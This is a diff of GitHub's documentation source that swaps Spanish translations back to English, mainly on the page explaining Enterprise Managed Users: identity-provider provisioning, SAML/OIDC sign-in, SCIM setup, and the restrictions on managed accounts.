Si usas el inicio de sesión único de SAML para la autenticación, también puedes aprovisionar usuarios y asignar grupos de IdP a equipos mediante SCIM. Para obtener más información, consulta "[Configuración del aprovisionamiento de usuarios con SCIM para la empresa](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise)".
|
||||
|
||||
{% endif %}
|
||||
|
||||
{% elsif ghae %}
|
||||
|
||||
{% data variables.product.product_name %} uses SAML SSO for authentication. Enterprise owners must configure SAML SSO with a SAML identity provider (IdP) during initialization. For more information, see "[About SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam)."
|
||||
{% data variables.product.product_name %} utiliza el SSO de SAML para la autenticación. Los propietarios de empresas deben configurar el SSO de SAML con un proveedor de identidades (IdP) de SAML durante la inicialización. Para obtener más información, consulta "[Acerca de SAML para IAM empresarial](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam)".
|
||||
|
||||
{% endif %}
|
||||
|
||||
## Further reading
|
||||
## Información adicional
|
||||
|
||||
- "[Types of {% data variables.product.company_short %} accounts](/get-started/learning-about-github/types-of-github-accounts)"
|
||||
- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)"
|
||||
{%- ifversion ghec %}
|
||||
- "[Can I create accounts for people in my organization?](/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization)"
|
||||
- "[Tipos de cuentas {% data variables.product.company_short %}](/get-started/learning-about-github/types-of-github-accounts)"
|
||||
- "[Acerca de las cuentas de empresa](/admin/overview/about-enterprise-accounts)" {%- ifversion ghec %}
|
||||
- "[¿Puedo crear cuentas para personas en mi organización?](/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization)"
|
||||
{% endif %}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
---
|
||||
title: 'Acerca de {% data variables.product.prodname_emus %}'
|
||||
title: About {% data variables.product.prodname_emus %}
|
||||
shortTitle: About managed users
|
||||
intro: 'Puedes administrar centralmente la identidad y el acceso para los miembros de tu empresa en {% data variables.product.prodname_dotcom %} desde tu proveedor de identidad.'
|
||||
intro: 'You can centrally manage identity and access for your enterprise members on {% data variables.product.prodname_dotcom %} from your identity provider.'
|
||||
redirect_from:
|
||||
- /early-access/github/articles/get-started-with-managed-users-for-your-enterprise
|
||||
- /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users
|
||||
@@ -17,53 +17,48 @@ topics:
|
||||
- Enterprise
|
||||
- SSO
|
||||
allowTitleToDifferFromFilename: true
|
||||
ms.openlocfilehash: 371a6998976fdb8ff87017866319912b28dc8ce6
|
||||
ms.sourcegitcommit: ec712c0fd32e7fe2f74c2b6d5da95f700dfd8111
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148110373'
|
||||
---
|
||||
## Acerca de {% data variables.product.prodname_emus %}
|
||||
|
||||
Con {% data variables.product.prodname_emus %}, puedes controlar las cuentas de usuario de los miembros de tu empresa a través de tu proveedor de identidad (IdP). Los usuarios que se asignen a la aplicación de {% data variables.product.prodname_emu_idp_application %} en tu IdP se aprovisionarán como cuentas de usuario nuevas en {% data variables.product.prodname_dotcom %} y se agregarán a tu empresa. Tú controlas los nombres de usuario, los datos de perfil, la pertenencia del equipo y el acceso de las cuentas de usuario al repositorio desde tu IdP.
|
||||
## About {% data variables.product.prodname_emus %}
|
||||
|
||||
En tu IdP, puedes dar a cada {% data variables.enterprise.prodname_managed_user %} el rol de usuario, propietario de la empresa o gerente de facturación. {% data variables.enterprise.prodname_managed_users_caps %} puede ser propietario de organizaciones dentro de tu empresa y puede agregar a otros {% data variables.enterprise.prodname_managed_users %} a las organizaciones y equipos dentro de ella. Para obtener más información, vea "[Roles en una empresa](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)" y "[Acerca de las organizaciones](/organizations/collaborating-with-groups-in-organizations/about-organizations)".
|
||||
With {% data variables.product.prodname_emus %}, you can control the user accounts of your enterprise members through your identity provider (IdP). Users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your IdP are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and added to your enterprise. You control usernames, profile data, team membership, and repository access for the user accounts from your IdP.
|
||||
|
||||
In your IdP, you can give each {% data variables.enterprise.prodname_managed_user %} the role of user, enterprise owner, or billing manager. {% data variables.enterprise.prodname_managed_users_caps %} can own organizations within your enterprise and can add other {% data variables.enterprise.prodname_managed_users %} to the organizations and teams within. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)" and "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)."
|
||||
|
||||
{% ifversion oidc-for-emu %}
|
||||
|
||||
{% data reusables.enterprise-accounts.emu-cap-validates %} Para obtener más información, consulta "[Acerca de la compatibilidad con la directiva de acceso condicional del IdP](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy)".
|
||||
{% data reusables.enterprise-accounts.emu-cap-validates %} For more information, see "[About support for your IdP's Conditional Access Policy](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy)."
|
||||
|
||||
{% endif %}
|
||||
|
||||
Puedes conceder acceso a los {% data variables.enterprise.prodname_managed_users %} a repositorios de la empresa, así como la capacidad de contribuir en ellos, pero los {% data variables.enterprise.prodname_managed_users %} no pueden crear contenido público ni colaborar con otros usuarios, organizaciones y empresas del resto de {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta "[Habilidades y restricciones de los {% data variables.enterprise.prodname_managed_users %}](#abilities-and-restrictions-of-enterprise-managed-users)".
|
||||
You can grant {% data variables.enterprise.prodname_managed_users %} access to and the ability to contribute to repositories within your enterprise, but {% data variables.enterprise.prodname_managed_users %} cannot create public content or collaborate with other users, organizations, and enterprises on the rest of {% data variables.product.prodname_dotcom %}. For more information, see "[Abilities and restrictions of {% data variables.enterprise.prodname_managed_users %}](#abilities-and-restrictions-of-enterprise-managed-users)."
|
||||
|
||||
El nombre de usuario de los {% data variables.enterprise.prodname_managed_users %} de tu empresa y su información de perfil, como los nombres y direcciones de correo electrónico que se muestran, se configuran mediante tu IdP y no pueden cambiarlos los propios usuarios. Para más información, vea "[Nombres de usuario e información de perfil](#usernames-and-profile-information)".
|
||||
The usernames of your enterprise's {% data variables.enterprise.prodname_managed_users %} and their profile information, such as display names and email addresses, are set by through your IdP and cannot be changed by the users themselves. For more information, see "[Usernames and profile information](#usernames-and-profile-information)."
|
||||
|
||||
Los propietarios de las empresas pueden auditar todas las acciones de los {% data variables.enterprise.prodname_managed_users %} en {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta "[Eventos del registro de auditoría para la empresa](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#about-audit-log-events-for-your-enterprise)".
|
||||
Enterprise owners can audit all of the {% data variables.enterprise.prodname_managed_users %}' actions on {% data variables.product.prodname_dotcom %}. For more information, see "[Audit log events for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#about-audit-log-events-for-your-enterprise)."
|
||||
|
||||
Para utilizar los {% data variables.product.prodname_emus %}, necesitas un tipo separado de cuenta empresarial con {% data variables.product.prodname_emus %} habilitados. Para obtener más información sobre cómo crear esta cuenta, consulte "[Acerca de las empresas con usuarios administrados](#about-enterprises-with-managed-users)".
|
||||
To use {% data variables.product.prodname_emus %}, you need a separate type of enterprise account with {% data variables.product.prodname_emus %} enabled. For more information about creating this account, see "[About enterprises with managed users](#about-enterprises-with-managed-users)."
|
||||
|
||||
{% note %}
|
||||
|
||||
**Nota**: Hay varias opciones para la administración de identidades y acceso con {% data variables.product.prodname_ghe_cloud %}, y la solución de {% data variables.product.prodname_emus %} no es la mejor para todos los clientes. Para obtener más información que te ayude a decidir si la opción de {% data variables.product.prodname_emus %} es adecuada para tu empresa, consulta "[Acerca de la autenticación de la empresa](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#identifying-the-best-authentication-method-for-your-enterprise)".
|
||||
**Note:** There are multiple options for identity and access management with {% data variables.product.prodname_ghe_cloud %}, and {% data variables.product.prodname_emus %} is not the best solution for every customer. For more information about whether {% data variables.product.prodname_emus %} is right for your enterprise, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#identifying-the-best-authentication-method-for-your-enterprise)."
|
||||
|
||||
{% endnote %}
|
||||
|
||||
## Acerca de la administración de la pertenencia a una organización
|
||||
## About organization membership management
|
||||
|
||||
Las pertenencias a una organización se pueden administrar manualmente o bien las puedes actualizar automáticamente mediante grupos de IdP. Para administrar las pertenencias a la organización mediante el IdP, los miembros deben agregarse a un grupo de IdP y este grupo debe estar conectado a un equipo en la organización. Para obtener más información sobre la administración automática de la organización y las pertenencias a equipos, consulta "[Administración de las pertenencias a equipos con grupos de proveedores de identidades](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)".
|
||||
Organization memberships can be managed manually, or you can update memberships automatically using IdP groups. To manage organization memberships through your IdP, the members must be added to an IdP group, and the IdP group must be connected to a team within the organization. For more information about managing organization and team memberships automatically, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)."
|
||||
|
||||
La forma en que se agrega un miembro a una organización propiedad de tu empresa (mediante grupos de IdP o manualmente) determina cómo se deben quitar de una organización.
|
||||
The way a member is added to an organization owned by your enterprise (through IdP groups or manually) determines how they must be removed from an organization.
|
||||
|
||||
- Si un miembro se agregó a una organización manualmente, debes quitarlo manualmente. La anulación de la asignación de la aplicación de {% data variables.product.prodname_emu_idp_application %} en tu IdP suspenderá al usuario pero no lo eliminará de la organización.
|
||||
- Si un usuario se convirtió en miembro de una organización porque se agregó a grupos de IdP asignados a uno o varios equipos de la organización, quitarlo de _todos_ los grupos de IdP asignados asociados a la organización hará que se quite de la organización.
|
||||
- If a member was added to an organization manually, you must remove them manually. Unassigning them from the {% data variables.product.prodname_emu_idp_application %} application on your IdP will suspend the user but not remove them from the organization.
|
||||
- If a user became a member of an organization because they were added to IdP groups mapped to one or more teams in the organization, removing them from _all_ of the mapped IdP groups associated with the organization will remove them from the organization.
|
||||
|
||||
Para descubrir cómo se agregó un miembro a una organización, puedes filtrar la lista de miembros por tipo. Para más información, vea "[Visualización de personas en la empresa](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#filtering-by-member-type-in-an-enterprise-with-managed-users)".
|
||||
To discover how a member was added to an organization, you can filter the member list by type. For more information, see "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#filtering-by-member-type-in-an-enterprise-with-managed-users)."
|
||||
|
||||
## Soporte del proveedor de identidad
|
||||
## Identity provider support
|
||||
|
||||
{% data variables.product.prodname_emus %} admite los siguientes IdP{% ifversion oidc-for-emu %} y métodos de autenticación:
|
||||
{% data variables.product.prodname_emus %} supports the following IdPs{% ifversion oidc-for-emu %} and authentication methods:
|
||||
|
||||
| | SAML | OIDC (beta) |
|
||||
|----------------------------------|-----------------------------------------------|-----------------------------------------------|
|
||||
@@ -75,35 +70,36 @@ Para descubrir cómo se agregó un miembro a una organización, puedes filtrar l
|
||||
|
||||
{% endif %}
|
||||
|
||||
## Habilidades y restricciones de los {% data variables.enterprise.prodname_managed_users %}
|
||||
## Abilities and restrictions of {% data variables.enterprise.prodname_managed_users %}
|
||||
|
||||
Los {% data variables.enterprise.prodname_managed_users_caps %} solo pueden colaborar en los repositorios privados e internos en su empresa y con los repositorios que pertenecen a su cuenta de usuario. Los {% data variables.enterprise.prodname_managed_users_caps %} tienen acceso de solo lectura al resto de la comunidad de {% data variables.product.prodname_dotcom %}. Estas restricciones de visibilidad y acceso para los usuarios, así como el contenido, aplican a todas las solicitudes, incluyendo a las de la API.
|
||||
{% data variables.enterprise.prodname_managed_users_caps %} can only contribute to private and internal repositories within their enterprise and private repositories owned by their user account. {% data variables.enterprise.prodname_managed_users_caps %} have read-only access to the wider {% data variables.product.prodname_dotcom %} community. These visibility and access restrictions for users and content apply to all requests, including API requests.
|
||||
|
||||
* No se puede invitar a {% data variables.enterprise.prodname_managed_users_caps %} para que se unan a organizaciones o repositorios de fuera de la empresa, ni se puede invitar a {% data variables.enterprise.prodname_managed_users %} a otras empresas.
|
||||
* Los colaboradores externos no son compatibles con los {% data variables.product.prodname_emus %}.
|
||||
* Los {% data variables.enterprise.prodname_managed_users_caps %} no pueden crear incidencias ni solicitudes de incorporación de cambios, comentar o agregar reacciones, ni marcar como favoritos u observar o bifurcar repositorios fuera de la empresa.
|
||||
* Los {% data variables.enterprise.prodname_managed_users_caps %} pueden ver todos los repositorios públicos en {% data variables.product.prodname_dotcom_the_website %} pero no pueden insertar código a los repositorios fuera de la empresa.
|
||||
* Solo otros miembros de la empresa pueden ver a los {% data variables.enterprise.prodname_managed_users_caps %} y el contenido que estos crean.
|
||||
* Los {% data variables.enterprise.prodname_managed_users_caps %} no pueden seguir a usuarios que estén fuera de la empresa.
|
||||
* Los {% data variables.enterprise.prodname_managed_users_caps %} no pueden crear gists o comentar en ellos.
|
||||
* Los {% data variables.enterprise.prodname_managed_users_caps %} no pueden crear flujos de trabajo de inicio para {% data variables.product.prodname_actions %}.
|
||||
* Los {% data variables.enterprise.prodname_managed_users_caps %} no pueden instalar {% data variables.product.prodname_github_apps %} en sus cuentas de usuario.
|
||||
* Otros usuarios de {% data variables.product.prodname_dotcom %} no pueden ver, mencionar o invitar a {% data variables.enterprise.prodname_managed_user %} para colaborar.
|
||||
* Puedes elegir si los {% data variables.enterprise.prodname_managed_users %} pueden crear repositorios propiedad de sus cuentas de usuario. Para más información, vea "[Aplicación de directivas de administración de repositorios en la empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-creation)".
|
||||
* Si permites que {% data variables.enterprise.prodname_managed_users %} creen repositorios propiedad de sus cuentas de usuario, solo pueden poseer repositorios privados y únicamente pueden invitar a otros miembros de la empresa a colaborar en los repositorios propiedad del usuario.
|
||||
* {% data variables.enterprise.prodname_managed_users_caps %} cannot be invited to organizations or repositories outside of the enterprise, nor can the {% data variables.enterprise.prodname_managed_users %} be invited to other enterprises.
|
||||
* Outside collaborators are not supported by {% data variables.product.prodname_emus %}.
|
||||
* {% data variables.enterprise.prodname_managed_users_caps %} cannot create issues or pull requests in, comment or add reactions to, nor star, watch, or fork repositories outside of the enterprise.
|
||||
* {% data variables.enterprise.prodname_managed_users_caps %} can view all public repositories on {% data variables.product.prodname_dotcom_the_website %}, but cannot push code to repositories outside of the enterprise.
|
||||
* {% data variables.enterprise.prodname_managed_users_caps %} and the content they create is only visible to other members of the enterprise.
|
||||
* {% data variables.enterprise.prodname_managed_users_caps %} cannot follow users outside of the enterprise.
|
||||
* {% data variables.enterprise.prodname_managed_users_caps %} cannot create gists or comment on gists.
|
||||
* {% data variables.enterprise.prodname_managed_users_caps %} cannot create starter workflows for {% data variables.product.prodname_actions %}.
|
||||
* {% data variables.enterprise.prodname_managed_users_caps %} cannot install {% data variables.product.prodname_github_apps %} on their user accounts.
|
||||
* Other {% data variables.product.prodname_dotcom %} users cannot see, mention, or invite a {% data variables.enterprise.prodname_managed_user %} to collaborate.
|
||||
* You can choose whether {% data variables.enterprise.prodname_managed_users %} are able to create repositories owned by their user accounts. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-creation)."
|
||||
* If you allow {% data variables.enterprise.prodname_managed_users %} to create repositories owned by their user accounts, they can only own private repositories and can only invite other enterprise members to collaborate on their user-owned repositories.
|
||||
* {% data reusables.enterprise-accounts.emu-forks %}
|
||||
* Solo se pueden crear repositorios internos y privados en las organizaciones que pertenezcan a una {% data variables.enterprise.prodname_emu_enterprise %}, en función de la configuración de visibilidad del repositorio o la empresa.
|
||||
* Los {% data variables.enterprise.prodname_managed_users_caps %} están limitados en su uso de {% data variables.product.prodname_pages %}. Para obtener más información, consulta [Acerca de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users).
|
||||
* Only private and internal repositories can be created in organizations owned by an {% data variables.enterprise.prodname_emu_enterprise %}, depending on organization and enterprise repository visibility settings.
|
||||
* {% data variables.enterprise.prodname_managed_users_caps %} are limited in their use of {% data variables.product.prodname_pages %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users)."
|
||||
* {% data reusables.copilot.emus-cannot-use-copilot %}
|
||||
|
||||
## Introducción a {% data variables.product.prodname_emus %}
|
||||
## Getting started with {% data variables.product.prodname_emus %}
|
||||
|
||||
Para que los desarrolladores puedan usar la {% data variables.product.prodname_ghe_cloud %} con {% data variables.product.prodname_emus %}, debes llevar a cabo una serie de pasos de configuración.
|
||||
Before your developers can use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_emus %}, you must follow a series of configuration steps.
|
||||
|
||||
1. Para utilizar los {% data variables.product.prodname_emus %}, necesitas un tipo separado de cuenta empresarial con {% data variables.product.prodname_emus %} habilitados. Para probar {% data variables.product.prodname_emus %} o para analizar las opciones para migrar desde su empresa existente, póngase en contacto con el [equipo de ventas de {% data variables.product.prodname_dotcom %}](https://enterprise.github.com/contact).
|
||||
1. To use {% data variables.product.prodname_emus %}, you need a separate type of enterprise account with {% data variables.product.prodname_emus %} enabled. To try out {% data variables.product.prodname_emus %} or to discuss options for migrating from your existing enterprise, please contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact).
|
||||
|
||||
La persona de contacto en el equipo de ventas de GitHub trabajará contigo para crear tu {% data variables.enterprise.prodname_emu_enterprise %} nueva. Necesitarás proporcionar la dirección de correo electrónico del usuario que configurará tu empresa y un código corto que se utilizará como el sufijo de los nombres de usuario de los miembros. {% data reusables.enterprise-accounts.emu-shortcode %} Para más información, vea "[Nombres de usuario e información de perfil](#usernames-and-profile-information)".
|
||||
Your contact on the GitHub Sales team will work with you to create your new {% data variables.enterprise.prodname_emu_enterprise %}. You'll need to provide the email address for the user who will set up your enterprise and a short code that will be used as the suffix for your enterprise members' usernames. {% data reusables.enterprise-accounts.emu-shortcode %} For more information, see "[Usernames and profile information](#usernames-and-profile-information)."
|
||||
|
||||
2. Después de crear tu empresa, recibirás un mensaje de correo electrónico de {% data variables.product.prodname_dotcom %}, el cual te invitará a elegir una contraseña para tu usuario de configuración de la empresa, quien será el primer propietario de esta. Utiliza una ventana de búsqueda privada o en modo incógnito al configurar la contraseña. El usuario de configuración solo se usa para configurar el inicio de sesión único y la integración de aprovisionamiento de SCIM para la empresa. Ya no tendrá acceso para administrar la cuenta empresarial una vez que se habilite correctamente el inicio de sesión único. El nombre de usuario del usuario de configuración es el código corto de la empresa con el sufijo `_admin`.
|
||||
2. After we create your enterprise, you will receive an email from {% data variables.product.prodname_dotcom %} inviting you to choose a password for your enterprise's setup user, which will be the first owner in the enterprise. Use an incognito or private browsing window when setting the password. The setup user is only used to configure single sign-on and SCIM provisioning integration for the enterprise. It will no longer have access to administer the enterprise account once SSO is successfully enabled. The setup user's username is your enterprise's shortcode suffixed with `_admin`.
|
||||
|
||||
{% note %}
|
||||
|
||||
@@ -111,53 +107,54 @@ Para que los desarrolladores puedan usar la {% data variables.product.prodname_g
|
||||
|
||||
{% endnote %}
|
||||
|
||||
3. Después de iniciar sesión como usuario de configuración, se recomienda habilitar la autenticación en dos fases. Para obtener más información, vea "[Configuración de autenticación en dos fases](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)".
|
||||
3. After you log in as the setup user, we recommend enabling two-factor authentication. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)."
|
||||
|
||||
1. Para empezar, configura {% ifversion oidc-for-emu %}cómo se autenticarán los miembros. Si usas Azure Active Directory como proveedor de identidades, puedes elegir entre OpenID Connect (OIDC) y el Lenguaje de marcado de aserción de seguridad (SAML). Ambas opciones proporcionan una experiencia de inicio de sesión sin problemas para los miembros, pero solo OIDC incluye compatibilidad con las directivas de acceso condicional (CAP). Si usas Okta como proveedor de identidades, puedes usar SAML para autenticar a los miembros. {% else %}SSO de SAML para tu empresa. Para obtener más información, consulta "[Configuración del inicio de sesión único de SAML para Usuarios Administrados de Enterprise](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users)".{% endif %}
|
||||
1. To get started, configure {% ifversion oidc-for-emu %}how your members will authenticate. If you are using Azure Active Directory as your identity provider, you can choose between OpenID Connect (OIDC) and Security Assertion Markup Language (SAML). Both options provide a seamless sign-in experience for your members, but only OIDC includes support for Conditional Access Policies (CAP). If you are using Okta as your identity provider, you can use SAML to authenticate your members.{% else %}SAML SSO for your enterprise. For more information, see "[Configuring SAML single sign-on for Enterprise Managed Users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users)."{% endif %}
|
||||
|
||||
{% ifversion oidc-for-emu %}
|
||||
|
||||
Para empezar, lea la guía del método de autenticación elegido.
|
||||
To get started, read the guide for your chosen authentication method.
|
||||
|
||||
- "[Configuración de OIDC para Usuarios Administrados de Enterprise](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users)".
|
||||
- "[Configuración del inicio de sesión único de SAML para Usuarios Administrados de Enterprise](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users)".
|
||||
- "[Configuring OIDC for Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users)."
|
||||
- "[Configuring SAML single sign-on for Enterprise Managed Users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users)."
|
||||
|
||||
{% endif %}
|
||||
|
||||
4. Una vez que hayas configurado el inicio de sesión único, puedes configurar el aprovisionamiento de SCIM. SCIM es la forma en la que el proveedor de identidades aprovisionará y administrará los equipos y cuentas de miembro en {% data variables.product.prodname_dotcom_the_website %}. Para obtener más información sobre cómo configurar el aprovisionamiento de SCIM, consulta "[Configuración del aprovisionamiento de SCIM para Usuarios Administrados de Enterprise](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users)".
|
||||
4. Once you have configured SSO, you can configure SCIM provisioning. SCIM is how your identity provider will create {% data variables.enterprise.prodname_managed_users %} on {% data variables.product.prodname_dotcom_the_website %}. For more information on configuring SCIM provisioning, see "[Configuring SCIM provisioning for enterprise managed users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users)."
|
||||
|
||||
5. Una vez que hayas configurado la autenticación y el aprovisionamiento, podrás empezar a aprovisionar miembros y administrar equipos. Para más información sobre cómo administrar equipos, vea "[Administración de pertenencias a equipos con grupos de proveedores de identidades](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups)".
|
||||
5. Once authentication and provisioning are configured, you can start managing organization membership for your {% data variables.enterprise.prodname_managed_users %} by synchronizing IdP groups with teams. For more information, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups)."
|
||||
|
||||
Si los miembros de tu empresa deben usar una estación de trabajo para contribuir a los repositorios en {% data variables.location.product_location %} tanto de un {% data variables.enterprise.prodname_managed_user %} como de una cuenta personal, puedes proporcionar compatibilidad. Para obtener más información, consulta "[Compatibilidad con desarrolladores con varias cuentas de usuario en {% data variables.product.prodname_dotcom_the_website %}](#supporting-developers-with-multiple-user-accounts-on-githubcom)".
|
||||
If members of your enterprise must use one workstation to contribute to repositories on {% data variables.location.product_location %} from both a {% data variables.enterprise.prodname_managed_user %} and a personal account, you can provide support. For more information, see "[Supporting developers with multiple user accounts on {% data variables.product.prodname_dotcom_the_website %}](#supporting-developers-with-multiple-user-accounts-on-githubcom)."
|
||||
|
||||
## Autenticación como {% data variables.enterprise.prodname_managed_user %}
|
||||
## Authenticating as a {% data variables.enterprise.prodname_managed_user %}
|
||||
|
||||
Los {% data variables.enterprise.prodname_managed_users_caps %} se deben autenticar mediante su proveedor de identidad. Para autenticarse, un {% data variables.enterprise.prodname_managed_user %} puede visitar su portal de aplicación IdP o utilizar una página de inicio de sesión en el {% data variables.product.prodname_dotcom_the_website %}.
|
||||
{% data variables.enterprise.prodname_managed_users_caps %} must authenticate through their identity provider. To authenticate, a {% data variables.enterprise.prodname_managed_user %} can visit their IdP application portal or use the login page on {% data variables.product.prodname_dotcom_the_website %}.
|
||||
|
||||
De manera predeterminada, cuando un usuario no autenticado intenta acceder a una empresa que usa {% data variables.product.prodname_emus %}, {% data variables.product.company_short %} muestra un error 404. Opcionalmente, un propietario de la empresa puede habilitar redirecciones automáticas al inicio de sesión único (SSO) en lugar de al error 404. Para más información, vea "[Aplicación de directivas de configuración de seguridad en la empresa](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-sso-for-unauthenticated-users)".
|
||||
By default, when an unauthenticated user attempts to access an enterprise that uses {% data variables.product.prodname_emus %}, {% data variables.product.company_short %} displays a 404 error. An enterprise owner can optionally enable automatic redirects to single sign-on (SSO) instead of the 404. For more information, see "[Enforcing policies for security settings in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-sso-for-unauthenticated-users)."
|
||||
|
||||
{% data reusables.enterprise-accounts.about-recovery-codes %} Para más información, vea "[Administración de códigos de recuperación para la empresa](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise)".
|
||||
{% data reusables.enterprise-accounts.about-recovery-codes %} For more information, see "[Managing recovery codes for your enterprise](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise)."
|
||||
|
||||
### Autenticarse como un {% data variables.enterprise.prodname_managed_user %} mediante el {% data variables.product.prodname_dotcom_the_website %}
|
||||
### Authenticating as a {% data variables.enterprise.prodname_managed_user %} via {% data variables.product.prodname_dotcom_the_website %}
|
||||
|
||||
1. Vaya a [https://github.com/login](https://github.com/login).
|
||||
1. En la caja de texto de "Nombre de usuario o dirección de correo electrónico", ingresa tu nombre de usuario incluyendo el guion bajo y código corto.
|
||||
. Si el formulario reconoce el nombre de usuario, se actualizará. No necesitas ingresar tu contraseña en este formato.
|
||||
1. Para continuar con el proveedor de identidades, haga clic en **Sign in with your identity provider** (Iniciar sesión con el proveedor de identidades).
|
||||
|
||||
1. Navigate to [https://github.com/login](https://github.com/login).
|
||||
1. In the "Username or email address" text box, enter your username including the underscore and short code.
|
||||
|
||||
When the form recognizes your username, the form will update. You do not need to enter your password on this form.
|
||||
1. To continue to your identity provider, click **Sign in with your identity provider**.
|
||||
|
||||
|
||||
## Nombres de usuario e información de perfil
|
||||
## Usernames and profile information
|
||||
|
||||
{% data variables.product.product_name %} crea automáticamente un nombre de usuario para cada persona mediante la normalización de un identificador proporcionado por el IdP. Para más información, consulta "[Consideraciones sobre el nombre de usuario para la autenticación externa](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)".
|
||||
{% data variables.product.product_name %} automatically creates a username for each person by normalizing an identifier provided by your IdP. For more information, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)."
|
||||
|
||||
Puede producirse un conflicto al aprovisionar usuarios si las partes únicas del identificador proporcionado por el IdP se quitan durante la normalización. Si no puedes aprovisionar un usuario debido a un conflicto con el nombre de usuario, debes modificar el nombre de usuario proporcionado por el IdP. Para obtener más información, consulta "[Resolución de problemas de nombre de usuario](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#resolving-username-problems)".
|
||||
A conflict may occur when provisioning users if the unique parts of the identifier provided by your IdP are removed during normalization. If you're unable to provision a user due to a username conflict, you should modify the username provided by your IdP. For more information, see "[Resolving username problems](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#resolving-username-problems)."
|
||||
|
||||
{% data reusables.enterprise-accounts.emu-only-emails-within-the-enterprise-can-conflict %}
|
||||
|
||||
El nombre de perfil y dirección de correo electrónico de un {% data variables.enterprise.prodname_managed_user %} también lo proporciona el IdP. Los {% data variables.enterprise.prodname_managed_users_caps %} no pueden cambiar su nombre de perfil ni la dirección de correo electrónico en {% data variables.product.prodname_dotcom %}, y el IdP solo puede proporcionar una dirección de correo electrónico.
|
||||
The profile name and email address of a {% data variables.enterprise.prodname_managed_user %} is also provided by the IdP. {% data variables.enterprise.prodname_managed_users_caps %} cannot change their profile name or email address on {% data variables.product.prodname_dotcom %}, and the IdP can only provide a single email address.
|
||||
|
||||
## Compatibilidad con desarrolladores con varias cuentas de usuario en {% data variables.location.product_location %}
|
||||
## Supporting developers with multiple user accounts on {% data variables.location.product_location %}
|
||||
|
||||
